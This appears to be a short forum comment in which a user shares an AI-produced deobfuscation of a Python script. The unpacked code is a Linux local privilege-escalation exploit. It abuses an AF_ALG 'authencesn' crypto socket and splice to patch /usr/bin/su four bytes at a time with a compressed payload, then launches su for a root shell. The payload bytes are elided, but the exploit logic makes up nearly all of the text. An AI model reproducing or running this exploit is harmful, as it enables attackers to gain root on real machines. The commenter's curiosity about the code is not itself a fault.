Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring. Assuming AI was correct, it unpacks more or les

Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring. Assuming AI was correct, it unpacks more or less like this import os, zlib, socket AF_ALG = 38 SOCK_SEQPACKET = 5 SOL_ALG = 279 def hex_bytes(x): return bytes.fromhex(x) def trigger(fd, offset, patch4): sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0) sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64)) sock.setsockopt(SOL_ALG, 5, None, 4) op, _ = sock.accept() length = offset + 4 zero = b"\x00" op.sendmsg( [b"A" * 4 + patch4], [ (SOL_ALG, 3, zero * 4), (SOL_ALG, 2, b"\x10" + zero * 19), (SOL_ALG, 4, b"\x08" + zero * 3), ], 32768, ) read_pipe, write_pipe = os.pipe() os.splice(fd, write_pipe, length, offset_src=0) os.splice(read_pipe, op.fileno(), length) try: op.recv(8 + offset) except: pass target = os.open("/usr/bin/su", os.O_RDONLY) payload = zlib.decompress(bytes.fromhex("...")) offset = 0 while offset < len(payload): trigger(target, offset, payload[offset:offset + 4]) offset += 4 os.system("su")